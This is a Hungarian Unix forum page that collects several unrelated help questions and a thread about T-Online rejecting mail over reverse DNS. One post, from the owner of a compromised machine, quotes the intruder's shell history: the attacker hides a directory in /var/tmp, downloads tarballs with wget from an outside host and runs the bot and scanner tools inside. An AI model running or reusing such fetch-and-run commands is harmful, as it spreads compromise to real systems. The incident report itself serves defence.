Üdvözletem.
Egyik ismerősöm számára hozom létre a topicot. Mivel az illető vak, ezért nem Ő nyitotta. Szeretném megkérdezni a közösséget hogy ki milyen kisegítő funkciókról tud (Gnome és KDe alatt), illetve melyiket ajánlja .. melyikben jobb a kisegítő funkció (felolvasás, stb..)
Köszönöm
Üdv!
A napokban lecseréltem a processzorom egy AMD X2-re.
Természetesen kernelt kellett forgatnom (2.6.23.9), mivel az előző nem tartalmazott mulitprocesszor támogatást.
A gondom a következő:
Az egyik cpu látszólag nem csinál semmit. Jobb híján a KDE teljesítmény-figyelőjével nézem. Ez arra is jó volt, hogy láthattam azt, hogy az oprendszer tud a második processzor magról, hiszen az előző kernellel boot-olva csak egy cpu látszik.
Akármivel próbálom terhelni, az egyik mag (mindig u.a.) 0%-os terheltséggel látszik.
Mi lehet a gond, milyen opciókat kellene használnom a kernel forgatásnál, hogy jó legyen.
Vagy mivel tudnám megterhelni, ami tuti hajtja mind a két magot?
Itt látszik, hogyan próbáltam:
http://img4.tar.hu/jumy/img/33015133.jpg
Volt már 1x ez (http://hup.hu/node/38734), de akkor sem jött semmi értelmes ötlet. Azóta egy kis alkalmazásunkat áttettük egy másik unix-ról solarisra szinte egy az egyben (semmi különös, tol tcp-n valamit a klienseknek). Szintén jelentkezik az a hiba, hogy random leszakadnak a kliensek. Csak solaris-on, a régi (unixware 7.1.x) os-en nem. Én próbáltam nézni, hogy van-e valami solaris specifikus dolog, de a socket-bind-listen-accept körben nem találtam ilyesmit. Még az lehet, hogy a solaris-ok 64 bitesek, számít ez valamit?
valaki?
Hai!
Adott egy tok egyszeru konfig, ket gep, egy keepalived, mogottuk egy LAN. Zsirul mukodik minden, csakhogy ez igy nem jo. :)
A gondom az, hogy csak egy pulikus internetes IP cimem van. Milyen IPket toljak fel a ket fizikai interfeszre? Az osszes peldaban olyan konfigot talaltam, ami azonos alhaloban levo IPket hasznal. Pl. shared IP 192.168.0.1, egyik gep 192.168.0.2 masik 0.3.
Ha feltolok ilyen LAN ipket a fizikai interfeszre, akkor hogy adok hozza gatewayt? Pl. virtual IPm 195.195.195.1, a gatewayem meg 195.195.195.254, ezt nem etetem meg a 192.168.0.0/24-el. Valoszinuleg van valami egyszeru opcio, amit benezek, de mi is az?
[gateway: 195.195.195.254]
"
"
"
[virtual ip: 195.195.195.1 ?]
____________________________________
[192.168.0.1 ???] | [192.168.0.2 ???]
mar lekaparom az arcom de nem jovok ra hogy mitol telt be a root particiom
[root@netmonitor /]# du -sxh /
155M /
[root@netmonitor /]# df -h /
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 487M 487M 0 100% /
ha valakinek van otlete legyszives ossza meg velem,nekem nincs semmi otletem hogy ez mitol lehet.
Tegnap eset postgresql-t telepitettem, majd bekapcsolva hagytam a gepem ejszakara. Hülye voltam mert a postgres felhasználó jelszavát nem modositottam, igy azon sikerült valakinek ssh-n keresztül bejelentkezni!
A bejelentkező postgres felhasználókent a következő utasitásokat adta időrendben:
90 w
91 passwd
92 cat /proc/cpuinfo
93 cd /var/tmp
94 mkdir ." "
95 cd ." "
96 wget http://uzzy.ecv.ms/drone.tar
97 tar -xzvf drone.tar
98 cd drone
99 cd drones
100 ./go
101 cd ..
102 wget http://uzzy.ecv.ms/romhack.tgz
103 tar -xzvf romhack.tgz
104 cd romhack
105 ./a 72.2
106 nohup ./start 81 >>/dev/null &
107 ps x
108 exit
Szerintem ezen eleg jól el lehet indulni! Előre köszi a segitseget.
Termeszetesn a progik meg az adott cimen elerhetőek,,,,ugyhogy aki tudja marja es lesse meg!
Üdv,
a köv. problémában szeretném a segítségeteket kérni: van egy file-om amiben a felhasználók adatait tárolom, a köv. formában:
username1,server1, port1;
username2,server2, port2;
...
ebből a file-ból szertném az adatokat visszakapni úgy hogy fel tudjam dolgozni őket, a köv. kódot irtam rá de vmiért nem működik..
void readFile(){
FILE *tf = NULL;
int i,j=0;
tf = fopen("users.dat", "r");
if (tf == NULL) {
g_print("Unable to open data file\n");
exit(-1);
}
while(!feof(tf)){
while(fgetc(tf) != ','){
readfile[j].username[i] = fgetc(tf);
i++;
}i=0;
while(fgetc(tf) != ','){
readfile[j].server[i] = fgetc(tf);
i++;
}i=0;
while(fgetc(tf) != ';'){
readfile[j].port = fgetc(tf);
i++;
}
j++;
}
}
az adatokat a köv. struktúrában tárolom (tárolnám):
struct Read {
char username[80];
char server[64];
int port;
} readfile[10];
Előre is köszi a segítséget
Mivel nem találtam pontos helyet neki gondoltam itt kérdezem meg.
Lenne egy VMS rendszer ami most tért át ntp-s idő szinkronra, és hát nem tért át téli időszámításra.
Utánna járásom alatt megtaláltam, hogy az AUTO_DLIGHT_SAV paraméter szablyozza, hogy autómatikusan mi történjen e. De nekem ilyen paraméterem nincs, vagy roszz helyen kerestem (SYSMAN).
Kérlek segítsetek, hogy most mit tegyek, hogy tavasszal és minden további időváltást magától végezzen. Az időzóna beálítás jó CET.
Ksözi
Sziasztok!
Tudna valaki segíteni, hogy a fészkes fenében kell megírni úgy egy DVD-t vagy CD-t, hogy a HP-UX 11.11-el normálisan (kis-nagybetű helyesen) fel is lehessen mountolni ?A médián lennének jó gustustalan hosszú vegyes betűs állomány és könyvtár nevek (ORACLE telepítő anyag).
A megírt DVD linuxon teljesen jól csatolható, még a fránya W* is jól mutatja a neveket, de HP-UX-on nem sikerült jól felmountolnom.
még a pfs_mount sem bírkózik meg vele :((
legutóbb ilyennel próbálkoztam:
mkisofs -gui -rational-rock -joliet -allow-leading-dots -full-iso9660-filenames -relaxed-filenames -no-iso-translate -allow-multidot -disable-deep-relocation -iso-level 2 -o xx.iso hp
Várom az ötleteket!
-TamsA-
*
( t-bee | 2007. október 16., kedd - 17:39 )
* UNIX haladó
Az utóbbi napokban ezeket a hibákat kapom vissza a syslogban:
(host mx.t-online.hu[84.2.44.11] said: 451 4.1.2 : Recipient address rejected: The reverse name of your IP address doesn't map back to the same IP (see http://cgi.t-online.hu/bra02/mxtest.cgi?err=REVMAP&ip= for details) (in reply to RCPT TO command))
Op rendszer Solaris 10; MTA: Postfix; DNS: Bind9
A www.dnsstuff.com -on a reverse dns rendesen visszamutat a hostnévre (nem a RIPE tagságú / szolgáltató hosztjára, hanem a sajátra!).
Próbaként megnéztem a T-online levelező szerverek IP-t is ugyan úgy hibát ad vissza a T-online mxtest-je, viszont az én leveleim 2-3 napig is próbálkoznak eljutni a t-online-os címekre. Máshova minden simán megy.
Más is tapasztalt hasonlót, vagy ez egy rosszul sikerült antispam feature?
sysstat -- furcsa CPU idle értékek ›
»
* hozzászólás
* 325 olvasás
Hozzászólás megjelenítési lehetőségek
A választott hozzászólás megjelenítési mód a „Beállítás” gombbal rögzíthető.
( Czo | 2007. október 16., kedd - 18:17 )
Kerj meg egy tonlajnost nezze meg neked o mit lat A es PTR rekordra :) lehet elkefelodott valami dns utkozben
---
Apple iMac 20"
áéíóöőúüű
* válasz
* permalink
( t-bee | 2007. október 16., kedd - 20:03 )
Ok, van valaki T-online -os aki megnézné nekem? Jelentkezzen privátban. Thx
A poén viszont az hogy szépen lassan átcsusszannak a levelek a T-onlineékhoz, csak van 1-2 napos delay, amíg itt próbálkozik a postfix.
meg sz*rik a panaszaimra.
Most kapta meg a haver a tegnap reggeli levelem, amiben estére sörözni hívtam :)
Nézze meg valaki akinek van saját IP-je hogy egyáltalán működőképes -e ez a cgi akármi.
* válasz
* permalink
( sany | 2007. október 16., kedd - 20:05 )
meg sz*rik a panaszaimra."
pojén:
részlet /etc/aliases fájlból( t-online módra) :lol:
postmaster: v_igazgató_ur
:D :D :D :D
----------------------------------------------------------------
* válasz
* permalink
( t-bee | 2007. október 17., szerda - 1:18 )
érdekes megoldást találtam a prblémára:
A akarmi.valami.hu a levelező szerverem neve. Na most létezik egy
postmaster@valami.hu
postafiók ugye a domainhez. Létrehoztam a
postmaster@akarmi.valami.hu
(azaz forwardoltam a
postmaster@valami.hu
-ra) és egyből elfogad mindent a t-online tőlem. :)
Az örömöm határtalan, csupán csak néhány kérdésem maradt:
- T-online fordításban a "The reverse name of your IP address doesn't map back to the same IP..." azt jelenti, hogy hozzál létre egy postmaster címet a szervernévhez!?
- Ha hibás a reverse dns (nyilván a T-online szerint hibás, mert az mxtest kitartóan hibát jelez) akkor miért nem utasítja mx03a.mail.t-online.hu gép vissza a levelet?
Hmm... Nem értem hogy miért működik most így, és miért nem működött máshogy?
Na jó részemről megoldva a probléma, és ha valaha valaki hasonlóba ütközne akkor a google el fogja navigálni ide is :)
* válasz
* permalink
( t-bee | 2007. október 17., szerda - 10:56 )
Ma megint elkezdte vissza szórni a fenti üzeneteket a t-online. :( A levelek meg szépen gyülekeznek a queue-ben. Mindenhova kézbesülnek a levelek kivéve a T-hez nem!
Miért nincs egyetlen értelmes ember sem ennél az elb***ott cégnél, aki reagálna 25. levelemre végre? Saját ügyfeleket is szivatják, nem csak engem...
* válasz
* permalink
( t-bee | 2007. október 17., szerda - 12:47 )
A mx03a.mail.t-online.hu megint elfogadja a leveleimet, más mxNN.mail.t-online.hu gépek nem. De jó móka ez már nekem...
* válasz
* permalink
( bra | 2007. október 17., szerda - 15:16 )
Nem világos, hogy mit is vársz pontosan. Idejössz csúnyán beszélni, lehülyézed a szolgáltatót, de az egyedüli bizonyítékát annak, hogy valójában nálad van a hiba elrejted (az IP címet).
Mi lenne, ha leírnád azt is?
* válasz
* permalink
( t-bee | 2007. október 17., szerda - 18:29 )
Orvosi eset lehetsz. :)
Itt az IP cím: 149.244.249.1
Idejössz csúnyán beszélni, lehülyézed a szolgáltatót, de az egyedüli bizonyítékát annak, hogy valójában nálad van a hiba elrejted (az IP címet).
Kövezzetek meg ha ennek csak a harmadát elkövettem :~)
Neked bra meg javaslok valami antistresz oldó tréninget. Relax, relax! A hiba nem az Én oldalamon van, hanem valahol a szolgáltatói oldalon.
* válasz
* permalink
új
( bra | 2007. október 17., szerda - 21:39 )
Mindenki az, legfeljebb másért.
Én ezzel az IP-vel kapcsolatban semmi rosszat nem látok, hacsak nem módosítottak rajta mostanában valamit, vagy nem rosszak a névszerverei, nem értem mi lehetett a hiba.
Mégis melyik szolgáltató oldalára gondolsz?
* szerkesztés
* válasz
* permalink
( bra | 2007. október 17., szerda - 15:23 )
Árulj el valamit: te közelebbi kapcsolatban állsz az informatikával (szerver, vagy DNS üzemeltetés szintjén például), vagy csak most ismerkedsz vele?
* válasz
* permalink
( t-bee | 2007. október 17., szerda - 18:30 )
Ez megmarad az Én titkomnak :~)